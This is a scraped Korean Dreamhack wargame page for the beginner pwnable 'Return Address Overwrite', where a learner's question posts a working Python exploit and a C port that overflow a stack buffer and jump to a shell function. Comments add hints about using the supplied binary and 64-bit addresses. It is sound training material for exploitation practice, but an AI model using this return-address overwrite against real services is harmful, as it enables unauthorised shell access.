LEVEL 1

Return Address Overwrite

pwnable
  • 문제 정보
  • 풀이 152
  • 난이도 투표 91
  • 질문 27
  • 최근 풀이자 3425
  • 댓글 53

문제 설명

Description

Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.

난이도 투표 91

질문 24

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
같은 익스 코드를 C로 작성했는데 interactive 부분이 왜 동작하지 않는지 모르겠습니다.
문제를 풀었고 아래처럼 python으로 익스 코드를 작성했습니다. from pwn import * if name == 'main': context.log_level = 'debug' payload = b'A' * 0x30 + b'B' * 0x8 + b'\xAA\x06\x40\x00\x00\x00\x00\x00' rmt = remote('host3.dreamhack.games', 16605) rmt.send(payload) rmt.interactive() 잘 동작하는 것을 확인했고, 이를 C언어로도 풀어보고 싶어서 아래처럼 작성했습니다. #include <netinet/in.h> #include <sys/socket.h> #include <arpa/inet.h> #include <pthread.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <netdb.h> #include <stdio.h> #include <time.h> #define HOST_NAME "host3.dreamhack.games" #define PORT_ADDR 12920 void exit_with_error(char * message) { fputs(message, stderr); fputc('\n', stderr); exit(1); } void print_bytes(uint8_t * bytes, size_t length) { for (int i = 0; i < length; i++) { printf("%02X ", bytes[i]); if ((i + 1) % 16 == 0) { puts(""); continue; } } if (length % 16 != 0) { puts(""); } puts(""); } void * recv_thread(void * arg) { int sock = *(int *)arg; char buffer[100] = {}; ssize_t recv_bytes; while (1) { recv_bytes = recv(sock, buffer, 100, 0); if (recv_bytes <= 0) { break; } printf("%s\n", buffer); } pthread_exit(NULL); } int main(void) { int sock; struct hostent * host; struct sockaddr_in serv_addr; pthread_t recv_thread_id; uint64_t binsh_addr = 0x4006AA; char buffer[100] = {}; char payload[0x40] = {}; memset(payload, 'A', 0x30 + 8); memmove(payload + 0x30 + 8, &binsh_addr, sizeof binsh_addr); if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) { exit_with_error("socket() error"); } if (!(host = gethostbyname(HOST_NAME))) { exit_with_error("gethostbyname() error"); } unsigned long ip_addr = ((struct in_addr *)host->h_addr_list)->s_addr; memset(&serv_addr, 0, sizeof serv_addr); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = ip_addr; serv_addr.sin_port = htons(PORT_ADDR); if (connect(sock, (struct sockaddr *)&serv_addr, sizeof serv_addr) == -1) { exit_with_error("connect() error"); } recv(sock, buffer, sizeof buffer, 0); print_bytes(buffer, sizeof buffer); memset(buffer, 0, sizeof buffer); ssize_t timer = 1024; if (send(sock, payload, sizeof payload, 0) == -1) { exit_with_error("write error"); } print_bytes(payload, sizeof payload); pthread_create(&recv_thread_id, NULL, recv_thread, (void *)&sock); puts("ineractive >>"); while (1) { printf("$ "); memset(buffer, 0, sizeof buffer); fgets(buffer, sizeof buffer - 1, stdin); if (!strcmp(buffer, "exit\n")) { break; } print_bytes(buffer, sizeof buffer); int send_bytes = send(sock, buffer, strlen(buffer), 0); if (send_bytes == -1) { printf("send failed"); break; } } pthread_join(recv_thread_id, NULL); close(sock); return 0; } interactive로 작성한 부분이 pthread_create부터입니다. 해당 코드 전까지는 입력도 잘 받고 출력도 잘 되지만, interactive부분부터 입력을 서버로 주면 출력을 받질 못합니다. 중간중간 디버깅 코드도 넣어서 돌려봤지만 잘 동작하지 않는 이유를 잘 모르겠습니다. 쉘코드와 함께 나오는 shell_basic 문제는 C언어만으로 해결했습니다.
RTFM
LEVEL 1

Return Address Overwrite

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
2024 Invitational Contenders
출제된 지 3시간 만에 풀이 완료!

최근 풀이자 3425

alivemarin
대표 업적 없음
avatar
Veri7as
대표 업적 없음
avatar
AswXrd_
대표 업적 없음
avatar
MoFW
추적자
km03
대표 업적 없음
onLeaf
대표 업적 없음
시스템뉴비
대표 업적 없음
dreameert
대표 업적 없음
avatar
Lastoria
대표 업적 없음
GyeolCrash
대표 업적 없음

댓글 53

B0n9k
대표 업적 없음
제공되는 바이너리로 get_shell 주소 얻어야함... 제공되는 소스코드로 컴파일해서 얻은 바이너리로 하다가 1시간 넘게 날린듯 ㅠㅠ
쉘을 얻었는지 확인할 때 명령어 2번 입력하세요, 전 1번만 하다가 도대체 왜 안되지 하며 1시간 날렸네요 ㅠㅠ
시건방진영수
대표 업적 없음
p64()가 사기인듯
O_F
대표 업적 없음
좋습니다.
CYBERKAST
대표 업적 없음
64bit임을 주의!
avatar
KnightChaser
공부벌레
easy
Ferris
대표 업적 없음
아... 제가 소스를 받아서 컴파일을 하면 안되고, 제공되는 "binary" 로 주소정보를 얻어야 하는 것이군요.. -_-;;; 아 이것때문에 삽질을..
sinse100
대표 업적 없음
와 IPC 에 대해 의도치 않게 알게됐다..
l000wk3y
공부벌레
버퍼 및 스택프레임 크기를 잘 계산해서 생각해보세요.
avatar
Ox0ne
대표 업적 없음
쉘보다 쉬운 듯,,,